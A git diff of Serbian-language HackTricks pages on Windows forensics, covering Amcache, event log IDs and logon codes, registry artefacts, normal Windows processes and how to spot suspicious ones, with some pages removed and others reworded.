Datoteka **Amcache.hve** je u suštini registri hives koji beleži detalje o aplikacijama koje su izvršene na sistemu. Obično se nalazi na `C:\Windows\AppCompat\Programas\Amcache.hve`.
|
||||
|
||||
Ova datoteka je značajna jer čuva zapise o nedavno izvršenim procesima, uključujući putanje do izvršnih datoteka i njihove SHA1 heš vrednosti. Ove informacije su neprocenjive za praćenje aktivnosti aplikacija na sistemu.
|
||||
|
||||
Za ekstrakciju i analizu podataka iz **Amcache.hve**, može se koristiti [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser) alat. Sledeća komanda je primer kako koristiti AmcacheParser za analizu sadržaja datoteke **Amcache.hve** i izlaz rezultata u CSV formatu:
|
||||
```bash
|
||||
AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\genericUser\Desktop\outputFolder
|
||||
```
|
||||
Među generisanim CSV datotekama, `Amcache_Unassociated file entries` je posebno značajan zbog bogatih informacija koje pruža o neudruženim unosima datoteka.
|
||||
|
||||
Najzanimljivija CVS datoteka koja je generisana je `Amcache_Unassociated file entries`.
|
||||
|
||||
### RecentFileCache
|
||||
|
||||
Ovaj artefakt se može naći samo u W7 u `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` i sadrži informacije o nedavnoj izvršavanju nekih binarnih datoteka.
|
||||
|
||||
Možete koristiti alat [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) za analizu datoteke.
|
||||
|
||||
### Zakazane radnje
|
||||
|
||||
Možete ih izvući iz `C:\Windows\Tasks` ili `C:\Windows\System32\Tasks` i pročitati ih kao XML.
|
||||
|
||||
### Servisi
|
||||
|
||||
Možete ih pronaći u registru pod `SYSTEM\ControlSet001\Services`. Možete videti šta će biti izvršeno i kada.
|
||||
|
||||
### **Windows Store**
|
||||
|
||||
Instalirane aplikacije se mogu naći u `\ProgramData\Microsoft\Windows\AppRepository\`\
|
||||
Ova repozitorija ima **log** sa **svakom instaliranom** aplikacijom u sistemu unutar baze podataka **`StateRepository-Machine.srd`**.
|
||||
|
||||
Unutar tabele aplikacija ove baze podataka, moguće je pronaći kolone: "Application ID", "PackageNumber" i "Display Name". Ove kolone sadrže informacije o unapred instaliranim i instaliranim aplikacijama i može se utvrditi da li su neke aplikacije deinstalirane jer bi ID-ovi instaliranih aplikacija trebali biti sekvencijalni.
|
||||
|
||||
Takođe je moguće **pronaći instaliranu aplikaciju** unutar registra na putu: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\
|
||||
I **deinstalirane** **aplikacije** u: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\`
|
||||
|
||||
## Windows događaji
|
||||
|
||||
Informacije koje se pojavljuju unutar Windows događaja su:
|
||||
|
||||
- Šta se desilo
|
||||
- Vreme (UTC + 0)
|
||||
- Uključeni korisnici
|
||||
- Uključeni hostovi (hostname, IP)
|
||||
- Pristupeni resursi (datoteke, folderi, štampači, servisi)
|
||||
|
||||
Logovi se nalaze u `C:\Windows\System32\config` pre Windows Vista i u `C:\Windows\System32\winevt\Logs` posle Windows Vista. Pre Windows Vista, logovi događaja su bili u binarnom formatu, a posle toga su u **XML formatu** i koriste **.evtx** ekstenziju.
|
||||
|
||||
Lokacija datoteka događaja može se pronaći u SYSTEM registru u **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`**
|
||||
|
||||
Mogu se vizualizovati iz Windows Event Viewer-a (**`eventvwr.msc`**) ili sa drugim alatima kao što su [**Event Log Explorer**](https://eventlogxp.com) **ili** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.**
|
||||
|
||||
## Razumevanje Windows sigurnosnog logovanja događaja
|
||||
|
||||
Događaji pristupa se beleže u datoteci sigurnosne konfiguracije koja se nalazi na `C:\Windows\System32\winevt\Security.evtx`. Veličina ove datoteke je prilagodljiva, a kada se dostigne njena kapacitet, stariji događaji se prepisuju. Beleženi događaji uključuju prijave i odjave korisnika, korisničke akcije i promene u sigurnosnim postavkama, kao i pristup datotekama, folderima i zajedničkim resursima.
|
||||
|
||||
### Ključni ID-evi događaja za autentifikaciju korisnika:
|
||||
|
||||
- **EventID 4624**: Ukazuje na uspešnu autentifikaciju korisnika.
|
||||
- **EventID 4625**: Signalizira neuspeh autentifikacije.
|
||||
- **EventIDs 4634/4647**: Predstavljaju događaje odjave korisnika.
|
||||
- **EventID 4672**: Označava prijavu sa administratorskim privilegijama.
|
||||
|
||||
#### Podtipovi unutar EventID 4634/4647:
|
||||
|
||||
- **Interaktivno (2)**: Direktna prijava korisnika.
|
||||
- **Mrežno (3)**: Pristup zajedničkim folderima.
|
||||
- **Serijski (4)**: Izvršenje serijskih procesa.
|
||||
- **Servis (5)**: Pokretanje servisa.
|
||||
- **Proxy (6)**: Proxy autentifikacija.
|
||||
- **Otključavanje (7)**: Ekran otključan lozinkom.
|
||||
- **Mrežni čisti tekst (8)**: Prenos lozinke u čistom tekstu, često iz IIS-a.
|
||||
- **Nove kredencijale (9)**: Korišćenje različitih kredencijala za pristup.
|
||||
- **Daljinsko interaktivno (10)**: Prijava putem daljinske radne površine ili terminalskih usluga.
|
||||
- **Keširano interaktivno (11)**: Prijava sa keširanim kredencijalima bez kontakta sa kontrolerom domena.
|
||||
- **Keširano daljinsko interaktivno (12)**: Daljinska prijava sa keširanim kredencijalima.
|
||||
- **Keširano otključavanje (13)**: Otključavanje sa keširanim kredencijalima.
|
||||
|
||||
#### Status i podstatus kodovi za EventID 4625:
|
||||
|
||||
- **0xC0000064**: Korisničko ime ne postoji - Može ukazivati na napad na enumeraciju korisničkog imena.
|
||||
- **0xC000006A**: Tačno korisničko ime, ali pogrešna lozinka - Mogući pokušaj pogađanja lozinke ili brute-force napad.
|
||||
- **0xC0000234**: Korisnički nalog je zaključan - Može uslediti nakon brute-force napada koji rezultira višestrukim neuspelim prijavama.
|
||||
- **0xC0000072**: Nalog onemogućen - Neovlašćeni pokušaji pristupa onemogućenim nalozima.
|
||||
- **0xC000006F**: Prijava van dozvoljenog vremena - Ukazuje na pokušaje pristupa van postavljenih sati prijave, mogući znak neovlašćenog pristupa.
|
||||
- **0xC0000070**: Kršenje ograničenja radne stanice - Može biti pokušaj prijave sa neovlašćenog mesta.
|
||||
- **0xC0000193**: Istek naloga - Pokušaji pristupa sa isteklim korisničkim nalozima.
|
||||
- **0xC0000071**: Istekla lozinka - Pokušaji prijave sa zastarelim lozinkama.
|
||||
- **0xC0000133**: Problemi sa sinhronizacijom vremena - Velike vremenske razlike između klijenta i servera mogu ukazivati na sofisticiranije napade poput pass-the-ticket.
|
||||
- **0xC0000224**: Obavezna promena lozinke potrebna - Česte obavezne promene mogu sugerisati pokušaj destabilizacije sigurnosti naloga.
|
||||
- **0xC0000225**: Ukazuje na grešku u sistemu, a ne na sigurnosni problem.
|
||||
- **0xC000015b**: Odbijeni tip prijave - Pokušaj pristupa sa neovlašćenim tipom prijave, kao što je korisnik koji pokušava da izvrši prijavu servisa.
|
||||
|
||||
#### EventID 4616:
|
||||
|
||||
- **Promena vremena**: Izmena sistemskog vremena, može zamagliti hronologiju događaja.
|
||||
|
||||
#### EventID 6005 i 6006:
|
||||
|
||||
- **Pokretanje i gašenje sistema**: EventID 6005 označava pokretanje sistema, dok EventID 6006 označava gašenje.
|
||||
|
||||
#### EventID 1102:
|
||||
|
||||
- **Brisanje logova**: Brisanje sigurnosnih logova, što je često znak za prikrivanje nelegalnih aktivnosti.
|
||||
|
||||
#### EventIDs za praćenje USB uređaja:
|
||||
|
||||
- **20001 / 20003 / 10000**: Prva konekcija USB uređaja.
|
||||
- **10100**: Ažuriranje USB drajvera.
|
||||
- **EventID 112**: Vreme umetanja USB uređaja.
|
||||
|
||||
Za praktične primere simulacije ovih tipova prijava i mogućnosti iskopavanja kredencijala, pogledajte [detaljni vodič Altered Security](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them).
|
||||
|
||||
Detalji događaja, uključujući status i podstatus kodove, pružaju dodatne uvide u uzroke događaja, posebno u Event ID 4625.
|
||||
|
||||
### Oporavak Windows događaja
|
||||
|
||||
Da biste povećali šanse za oporavak obrisanih Windows događaja, preporučuje se da isključite sumnjivi računar direktnim isključivanjem. **Bulk_extractor**, alat za oporavak koji specificira ekstenziju `.evtx`, se preporučuje za pokušaj oporavka takvih događaja.
|
||||
|
||||
### Identifikacija uobičajenih napada putem Windows događaja
|
||||
|
||||
Za sveobuhvatan vodič o korišćenju Windows Event ID-ova u identifikaciji uobičajenih sajber napada, posetite [Red Team Recipe](https://redteamrecipe.com/event-codes/).
|
||||
|
||||
#### Brute Force napadi
|
||||
|
||||
Identifikovani višestrukim zapisima EventID 4625, praćenim EventID 4624 ako napad uspe.
|
||||
|
||||
#### Promena vremena
|
||||
|
||||
Zabeležena sa EventID 4616, promene u sistemskom vremenu mogu otežati forenzičku analizu.
|
||||
|
||||
#### Praćenje USB uređaja
|
||||
|
||||
Korisni sistemski EventID-ovi za praćenje USB uređaja uključuju 20001/20003/10000 za početnu upotrebu, 10100 za ažuriranja drajvera i EventID 112 iz DeviceSetupManager-a za vremenske oznake umetanja.
|
||||
|
||||
#### Događaji napajanja sistema
|
||||
|
||||
EventID 6005 označava pokretanje sistema, dok EventID 6006 označava gašenje.
|
||||
|
||||
#### Brisanje logova
|
||||
|
||||
Sigurnosni EventID 1102 signalizira brisanje logova, što je kritičan događaj za forenzičku analizu.
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -1,101 +0,0 @@
|
||||
# Zanimljive Windows Registry Ključevi
|
||||
|
||||
### Zanimljive Windows Registry Ključevi
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### **Informacije o verziji Windows-a i vlasniku**
|
||||
|
||||
- Nalazi se na **`Software\Microsoft\Windows NT\CurrentVersion`**, gde možete pronaći verziju Windows-a, Service Pack, vreme instalacije i ime registrovanog vlasnika na jednostavan način.
|
||||
|
||||
### **Ime računara**
|
||||
|
||||
- Ime hosta se nalazi pod **`System\ControlSet001\Control\ComputerName\ComputerName`**.
|
||||
|
||||
### **Podešavanje vremenske zone**
|
||||
|
||||
- Vremenska zona sistema se čuva u **`System\ControlSet001\Control\TimeZoneInformation`**.
|
||||
|
||||
### **Praćenje vremena pristupa**
|
||||
|
||||
- Po defaultu, praćenje poslednjeg vremena pristupa je isključeno (**`NtfsDisableLastAccessUpdate=1`**). Da biste ga omogućili, koristite:
|
||||
`fsutil behavior set disablelastaccess 0`
|
||||
|
||||
### Verzije Windows-a i Service Pack-ovi
|
||||
|
||||
- **Verzija Windows-a** označava izdanje (npr. Home, Pro) i njegovu verziju (npr. Windows 10, Windows 11), dok su **Service Pack-ovi** ažuriranja koja uključuju ispravke i, ponekad, nove funkcije.
|
||||
|
||||
### Omogućavanje praćenja poslednjeg vremena pristupa
|
||||
|
||||
- Omogućavanje praćenja poslednjeg vremena pristupa omogućava vam da vidite kada su datoteke poslednji put otvorene, što može biti ključno za forenzičku analizu ili praćenje sistema.
|
||||
|
||||
### Detalji o mrežnim informacijama
|
||||
|
||||
- Registry sadrži opsežne podatke o mrežnim konfiguracijama, uključujući **tipove mreža (bežične, kablovske, 3G)** i **kategorije mreža (Javna, Privatna/Domaća, Domen/Rad)**, što je od vitalnog značaja za razumevanje mrežnih bezbednosnih postavki i dozvola.
|
||||
|
||||
### Keširanje na klijentskoj strani (CSC)
|
||||
|
||||
- **CSC** poboljšava pristup offline datotekama keširanjem kopija deljenih datoteka. Različita podešavanja **CSCFlags** kontrolišu kako i koje datoteke se keširaju, utičući na performanse i korisničko iskustvo, posebno u okruženjima sa povremenom povezanošću.
|
||||
|
||||
### AutoStart programi
|
||||
|
||||
- Programi navedeni u raznim `Run` i `RunOnce` registry ključevima automatski se pokreću prilikom pokretanja, utičući na vreme podizanja sistema i potencijalno predstavljajući tačke interesa za identifikaciju malvera ili neželjenog softvera.
|
||||
|
||||
### Shellbags
|
||||
|
||||
- **Shellbags** ne samo da čuvaju podešavanja za prikaz foldera, već takođe pružaju forenzičke dokaze o pristupu folderima čak i ako folder više ne postoji. Oni su neprocenjivi za istrage, otkrivajući aktivnost korisnika koja nije očigledna kroz druge načine.
|
||||
|
||||
### USB informacije i forenzika
|
||||
|
||||
- Detalji o USB uređajima pohranjeni u registry-ju mogu pomoći u praćenju koji su uređaji bili povezani sa računarom, potencijalno povezujući uređaj sa osetljivim prenosima datoteka ili incidentima neovlašćenog pristupa.
|
||||
|
||||
### Serijski broj volumena
|
||||
|
||||
- **Serijski broj volumena** može biti ključan za praćenje specifične instance datotečnog sistema, koristan u forenzičkim scenarijima gde je potrebno utvrditi poreklo datoteke preko različitih uređaja.
|
||||
|
||||
### **Detalji o gašenju**
|
||||
|
||||
- Vreme gašenja i broj gašenja (potonji samo za XP) se čuvaju u **`System\ControlSet001\Control\Windows`** i **`System\ControlSet001\Control\Watchdog\Display`**.
|
||||
|
||||
### **Mrežna konfiguracija**
|
||||
|
||||
- Za detaljne informacije o mrežnim interfejsima, pogledajte **`System\ControlSet001\Services\Tcpip\Parameters\Interfaces{GUID_INTERFACE}`**.
|
||||
- Prva i poslednja vremena mrežne veze, uključujući VPN veze, beleže se pod raznim putanjama u **`Software\Microsoft\Windows NT\CurrentVersion\NetworkList`**.
|
||||
|
||||
### **Deljeni folderi**
|
||||
|
||||
- Deljeni folderi i podešavanja su pod **`System\ControlSet001\Services\lanmanserver\Shares`**. Podešavanja za keširanje na klijentskoj strani (CSC) određuju dostupnost offline datoteka.
|
||||
|
||||
### **Programi koji se automatski pokreću**
|
||||
|
||||
- Putanje kao što su **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run`** i slični unosi pod `Software\Microsoft\Windows\CurrentVersion` detaljno opisuju programe postavljene da se pokreću prilikom pokretanja.
|
||||
|
||||
### **Pretrage i unesene putanje**
|
||||
|
||||
- Pretrage u Explorer-u i unesene putanje se prate u registry-ju pod **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer`** za WordwheelQuery i TypedPaths, respektivno.
|
||||
|
||||
### **Nedavni dokumenti i Office datoteke**
|
||||
|
||||
- Nedavni dokumenti i Office datoteke koje su pristupane beleže se u `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs` i specifičnim putanjama verzije Office-a.
|
||||
|
||||
### **Najčešće korišćeni (MRU) stavke**
|
||||
|
||||
- MRU liste, koje ukazuju na nedavne putanje datoteka i komande, čuvaju se u raznim `ComDlg32` i `Explorer` podključevima pod `NTUSER.DAT`.
|
||||
|
||||
### **Praćenje aktivnosti korisnika**
|
||||
|
||||
- Funkcija User Assist beleži detaljne statistike korišćenja aplikacija, uključujući broj pokretanja i vreme poslednjeg pokretanja, na **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count`**.
|
||||
|
||||
### **Analiza Shellbags**
|
||||
|
||||
- Shellbags, koji otkrivaju detalje o pristupu folderima, čuvaju se u `USRCLASS.DAT` i `NTUSER.DAT` pod `Software\Microsoft\Windows\Shell`. Koristite **[Shellbag Explorer](https://ericzimmerman.github.io/#!index.md)** za analizu.
|
||||
|
||||
### **Istorija USB uređaja**
|
||||
|
||||
- **`HKLM\SYSTEM\ControlSet001\Enum\USBSTOR`** i **`HKLM\SYSTEM\ControlSet001\Enum\USB`** sadrže bogate detalje o povezanim USB uređajima, uključujući proizvođača, naziv proizvoda i vremenske oznake povezivanja.
|
||||
- Korisnik povezan sa specifičnim USB uređajem može se precizno odrediti pretraživanjem `NTUSER.DAT` hives za **{GUID}** uređaja.
|
||||
- Poslednji montirani uređaj i njegov serijski broj volumena mogu se pratiti kroz `System\MountedDevices` i `Software\Microsoft\Windows NT\CurrentVersion\EMDMgmt`, respektivno.
|
||||
|
||||
Ovaj vodič sažima ključne putanje i metode za pristup detaljnim informacijama o sistemu, mreži i aktivnostima korisnika na Windows sistemima, sa ciljem jasnoće i upotrebljivosti.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -1,106 +0,0 @@
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## smss.exe
|
||||
|
||||
**Menadžer sesije**.\
|
||||
Sesija 0 pokreće **csrss.exe** i **wininit.exe** (**OS** **usluge**) dok Sesija 1 pokreće **csrss.exe** i **winlogon.exe** (**Korisnička** **sesija**). Međutim, trebali biste videti **samo jedan proces** tog **binarija** bez dece u stablu procesa.
|
||||
|
||||
Takođe, sesije osim 0 i 1 mogu značiti da se odvijaju RDP sesije.
|
||||
|
||||
## csrss.exe
|
||||
|
||||
**Klijent/Server Run Subsystem Process**.\
|
||||
Upravlja **procesima** i **nitima**, omogućava **Windows** **API** za druge procese i takođe **mapira slova drajvova**, kreira **temp fajlove** i upravlja **procesom gašenja**.
|
||||
|
||||
Postoji jedan **koji se izvršava u Sesiji 0 i još jedan u Sesiji 1** (tako da **2 procesa** u stablu procesa). Još jedan se kreira **po novoj Sesiji**.
|
||||
|
||||
## winlogon.exe
|
||||
|
||||
**Windows Logon Process**.\
|
||||
Odgovoran je za korisnički **prijavu**/**odjavu**. Pokreće **logonui.exe** da zatraži korisničko ime i lozinku, a zatim poziva **lsass.exe** da ih verifikuje.
|
||||
|
||||
Zatim pokreće **userinit.exe** koji je naveden u **`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`** sa ključem **Userinit**.
|
||||
|
||||
Pored toga, prethodni registar bi trebao imati **explorer.exe** u **Shell ključu** ili bi mogao biti zloupotrebljen kao **metoda postojanosti malvera**.
|
||||
|
||||
## wininit.exe
|
||||
|
||||
**Windows Initialization Process**. \
|
||||
Pokreće **services.exe**, **lsass.exe**, i **lsm.exe** u Sesiji 0. Trebalo bi da postoji samo 1 proces.
|
||||
|
||||
## userinit.exe
|
||||
|
||||
**Userinit Logon Application**.\
|
||||
Učitava **ntduser.dat u HKCU** i inicijalizuje **korisničko** **okruženje** i pokreće **logon** **skripte** i **GPO**.
|
||||
|
||||
Pokreće **explorer.exe**.
|
||||
|
||||
## lsm.exe
|
||||
|
||||
**Menadžer lokalnih sesija**.\
|
||||
Radi sa smss.exe da manipuliše korisničkim sesijama: Prijava/odjava, pokretanje shell-a, zaključavanje/otključavanje radne površine, itd.
|
||||
|
||||
Nakon W7, lsm.exe je transformisan u uslugu (lsm.dll).
|
||||
|
||||
Trebalo bi da postoji samo 1 proces u W7 i od njih usluga koja pokreće DLL.
|
||||
|
||||
## services.exe
|
||||
|
||||
**Menadžer kontrole usluga**.\
|
||||
**Učitava** **usluge** konfigurirane kao **automatski start** i **drajvere**.
|
||||
|
||||
To je roditeljski proces **svchost.exe**, **dllhost.exe**, **taskhost.exe**, **spoolsv.exe** i mnoge druge.
|
||||
|
||||
Usluge su definisane u `HKLM\SYSTEM\CurrentControlSet\Services` i ovaj proces održava bazu podataka u memoriji o informacijama o uslugama koje se mogu upititi putem sc.exe.
|
||||
|
||||
Obratite pažnju kako će **neke** **usluge** raditi u **svojim procesima**, dok će druge **deliti svchost.exe proces**.
|
||||
|
||||
Trebalo bi da postoji samo 1 proces.
|
||||
|
||||
## lsass.exe
|
||||
|
||||
**Podsystem lokalne bezbednosti**.\
|
||||
Odgovoran je za **autentifikaciju** korisnika i kreira **bezbednosne** **tokene**. Koristi pakete autentifikacije smeštene u `HKLM\System\CurrentControlSet\Control\Lsa`.
|
||||
|
||||
Piše u **log** **događaja** **bezbednosti** i trebalo bi da postoji samo 1 proces.
|
||||
|
||||
Imajte na umu da je ovaj proces često napadnut da bi se iskopirali lozinke.
|
||||
|
||||
## svchost.exe
|
||||
|
||||
**Generički proces hosta usluga**.\
|
||||
Hostuje više DLL usluga u jednom deljenom procesu.
|
||||
|
||||
Obično ćete naći da je **svchost.exe** pokrenut sa `-k` oznakom. Ovo će pokrenuti upit u registru **HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost** gde će biti ključ sa argumentom pomenutim u -k koji će sadržati usluge koje treba pokrenuti u istom procesu.
|
||||
|
||||
Na primer: `-k UnistackSvcGroup` će pokrenuti: `PimIndexMaintenanceSvc MessagingService WpnUserService CDPUserSvc UnistoreSvc UserDataSvc OneSyncSvc`
|
||||
|
||||
Ako se **oznaka `-s`** takođe koristi sa argumentom, tada se svchost traži da **pokrene samo određenu uslugu** u ovom argumentu.
|
||||
|
||||
Biće nekoliko procesa `svchost.exe`. Ako nijedan od njih **ne koristi `-k` oznaku**, to je veoma sumnjivo. Ako otkrijete da **services.exe nije roditelj**, to je takođe veoma sumnjivo.
|
||||
|
||||
## taskhost.exe
|
||||
|
||||
Ovaj proces deluje kao host za procese koji se izvršavaju iz DLL-ova. Takođe učitava usluge koje se izvršavaju iz DLL-ova.
|
||||
|
||||
U W8 ovo se zove taskhostex.exe, a u W10 taskhostw.exe.
|
||||
|
||||
## explorer.exe
|
||||
|
||||
Ovo je proces odgovoran za **radnu površinu korisnika** i pokretanje fajlova putem ekstenzija fajlova.
|
||||
|
||||
**Samo 1** proces bi trebao biti pokrenut **po prijavljenom korisniku.**
|
||||
|
||||
Ovo se pokreće iz **userinit.exe** koji bi trebao biti prekinut, tako da **nema roditelja** za ovaj proces.
|
||||
|
||||
# Hvatanje zlonamernih procesa
|
||||
|
||||
- Da li se pokreće iz očekivane putanje? (Nijedna Windows binarna datoteka se ne pokreće iz temp lokacije)
|
||||
- Da li komunicira sa čudnim IP-ovima?
|
||||
- Proverite digitalne potpise (Microsoft artefakti bi trebali biti potpisani)
|
||||
- Da li je pravilno napisano?
|
||||
- Da li se izvršava pod očekivanim SID-om?
|
||||
- Da li je roditeljski proces očekivani (ako postoji)?
|
||||
- Da li su procesi dece oni koje očekujete? (nema cmd.exe, wscript.exe, powershell.exe..?)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -1,10 +1,8 @@
|
||||
# Windows artefakti
|
||||
|
||||
## Windows artefakti
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Opšti Windows artefakti
|
||||
## Generički Windows artefakti
|
||||
|
||||
### Windows 10 obaveštenja
|
||||
|
||||
@ -12,22 +10,22 @@ U putanji `\Users\<username>\AppData\Local\Microsoft\Windows\Notifications` mož
|
||||
|
||||
Unutar ove SQLite baze podataka, možete pronaći tabelu `Notification` sa svim obaveštenjima (u XML formatu) koja mogu sadržati zanimljive podatke.
|
||||
|
||||
### Hronologija
|
||||
### Hronološka linija
|
||||
|
||||
Hronologija je karakteristika Windows-a koja pruža **hronološku istoriju** web stranica koje su posećene, uređivanih dokumenata i izvršenih aplikacija.
|
||||
Hronološka linija je karakteristika Windows-a koja pruža **hronološku istoriju** web stranica koje su posećene, uređivanih dokumenata i izvršenih aplikacija.
|
||||
|
||||
Baza podataka se nalazi u putanji `\Users\<username>\AppData\Local\ConnectedDevicesPlatform\<id>\ActivitiesCache.db`. Ova baza podataka može se otvoriti sa SQLite alatom ili sa alatom [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **koji generiše 2 datoteke koje se mogu otvoriti sa alatom** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md).
|
||||
|
||||
### ADS (Alternativni tokovi podataka)
|
||||
### ADS (Alternativni podaci)
|
||||
|
||||
Preuzete datoteke mogu sadržati **ADS Zone.Identifier** koji ukazuje **kako** je **preuzeta** sa intraneta, interneta itd. Neki softver (poput pregledača) obično dodaje čak i **više** **informacija** poput **URL-a** sa kojeg je datoteka preuzeta.
|
||||
Preuzete datoteke mogu sadržati **ADS Zone.Identifier** koji označava **kako** je **preuzeta** sa intraneta, interneta itd. Neki softver (kao što su pregledači) obično dodaju čak i **više** **informacija** kao što je **URL** sa kojeg je datoteka preuzeta.
|
||||
|
||||
## **Backup datoteka**
|
||||
|
||||
### Korpa za otpatke
|
||||
|
||||
U Vista/Win7/Win8/Win10 **Korpa za otpatke** može se pronaći u fascikli **`$Recycle.bin`** u korenu diska (`C:\$Recycle.bin`).\
|
||||
Kada se datoteka obriše u ovoj fascikli, kreiraju se 2 specifične datoteke:
|
||||
U Vista/Win7/Win8/Win10 **Korpa za otpatke** može se pronaći u folderu **`$Recycle.bin`** u korenu diska (`C:\$Recycle.bin`).\
|
||||
Kada se datoteka obriše u ovom folderu, kreiraju se 2 specifične datoteke:
|
||||
|
||||
- `$I{id}`: Informacije o datoteci (datum kada je obrisana)
|
||||
- `$R{id}`: Sadržaj datoteke
|
||||
@ -44,15 +42,15 @@ Imajući ove datoteke, možete koristiti alat [**Rifiuti**](https://github.com/a
|
||||
|
||||
Shadow Copy je tehnologija uključena u Microsoft Windows koja može da kreira **rezervne kopije** ili snimke računarskih datoteka ili volumena, čak i kada su u upotrebi.
|
||||
|
||||
Ove rezervne kopije se obično nalaze u `\System Volume Information` iz korena fajl sistema, a ime se sastoji od **UID-ova** prikazanih na sledećoj slici:
|
||||
Ove rezervne kopije se obično nalaze u `\System Volume Information` iz korena datotečnog sistema, a naziv se sastoji od **UID-ova** prikazanih na sledećoj slici:
|
||||
|
||||
.png>)
|
||||
|
||||
Montiranjem forenzičke slike sa **ArsenalImageMounter**, alat [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow_copy_view.html) može se koristiti za inspekciju shadow copy-a i čak **ekstrakciju datoteka** iz rezervnih kopija shadow copy-a.
|
||||
Montiranjem forenzičke slike sa **ArsenalImageMounter**, alat [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow_copy_view.html) može se koristiti za inspekciju shadow copy-a i čak **izvlačenje datoteka** iz rezervnih kopija shadow copy-a.
|
||||
|
||||
.png>)
|
||||
|
||||
Registri unos `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore` sadrži datoteke i ključeve **koje ne treba rezervisati**:
|
||||
Registri unos `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore` sadrži datoteke i ključeve **koje ne treba praviti rezervne kopije**:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -75,11 +73,11 @@ Windows **automatski** **kreira** ove **prečice** kada korisnik **otvori, koris
|
||||
|
||||
Kada se kreira folder, takođe se kreira veza do foldera, do roditeljskog foldera i do foldera bake.
|
||||
|
||||
Ove automatski kreirane link datoteke **sadrže informacije o poreklu** kao što su da li je to **datoteka** **ili** **folder**, **MAC** **vremena** te datoteke, **informacije o volumenu** gde je datoteka smeštena i **folder ciljne datoteke**. Ove informacije mogu biti korisne za oporavak tih datoteka u slučaju da su uklonjene.
|
||||
Ove automatski kreirane datoteke sa linkovima **sadrže informacije o poreklu** kao što su da li je to **datoteka** **ili** **folder**, **MAC** **vremena** te datoteke, **informacije o volumenu** gde je datoteka smeštena i **folder ciljne datoteke**. Ove informacije mogu biti korisne za oporavak tih datoteka u slučaju da su uklonjene.
|
||||
|
||||
Takođe, **datum kreiranja link** datoteke je prvi **put** kada je originalna datoteka **prvi put** **korisćena**, a **datum** **modifikacije** link datoteke je **poslednji** **put** kada je izvorna datoteka korišćena.
|
||||
Takođe, **datum kreiranja link** datoteke je prvi **put** kada je originalna datoteka **prvi** **put** **korisćena**, a **datum** **modifikacije** link datoteke je **poslednji** **put** kada je izvorna datoteka korišćena.
|
||||
|
||||
Da biste inspektovali ove datoteke, možete koristiti [**LinkParser**](http://4discovery.com/our-tools/).
|
||||
Da biste inspekciju ovih datoteka, možete koristiti [**LinkParser**](http://4discovery.com/our-tools/).
|
||||
|
||||
U ovom alatu ćete pronaći **2 skupa** vremenskih oznaka:
|
||||
|
||||
@ -102,13 +100,13 @@ U ovom slučaju, informacije će biti sačuvane unutar CSV datoteke.
|
||||
|
||||
### Jumplists
|
||||
|
||||
Ovo su nedavne datoteke koje su označene po aplikaciji. To je lista **nedavnih datoteka korišćenih od strane aplikacije** kojima možete pristupiti u svakoj aplikaciji. Mogu biti kreirane **automatski ili po meri**.
|
||||
Ovo su nedavne datoteke koje su označene po aplikaciji. To je lista **nedavnih datoteka korišćenih od strane aplikacije** kojoj možete pristupiti u svakoj aplikaciji. Mogu biti kreirane **automatski ili po meri**.
|
||||
|
||||
**Jumplists** kreirane automatski se čuvaju u `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. Jumplists su imenovane prema formatu `{id}.autmaticDestinations-ms` gde je početni ID ID aplikacije.
|
||||
|
||||
Prilagođeni jumplists se čuvaju u `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` i obično ih kreira aplikacija jer se nešto **važnog** dogodilo sa datotekom (možda označeno kao omiljeno).
|
||||
Prilagođene jumplists se čuvaju u `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` i obično ih kreira aplikacija jer se nešto **važnog** dogodilo sa datotekom (možda označeno kao omiljeno).
|
||||
|
||||
**Vreme kreiranja** bilo kog jumplista označava **prvi put kada je datoteka pristupljena** i **vreme modifikacije poslednji put**.
|
||||
**Vreme kreiranja** bilo koje jumplist ukazuje na **prvi put kada je datoteka pristupljena** i **vreme modifikacije poslednji put**.
|
||||
|
||||
Možete pregledati jumplists koristeći [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md).
|
||||
|
||||
@ -132,7 +130,7 @@ Napomena da neka LNK datoteka umesto da pokazuje na originalni put, pokazuje na
|
||||
|
||||
.png>)
|
||||
|
||||
Datoteke u WPDNSE folderu su kopije originalnih, stoga neće preživeti restart PC-a i GUID se uzima iz shellbaga.
|
||||
Datoteke u folderu WPDNSE su kopije originalnih, stoga neće preživeti restart PC-a i GUID se uzima iz shellbaga.
|
||||
|
||||
### Registry Information
|
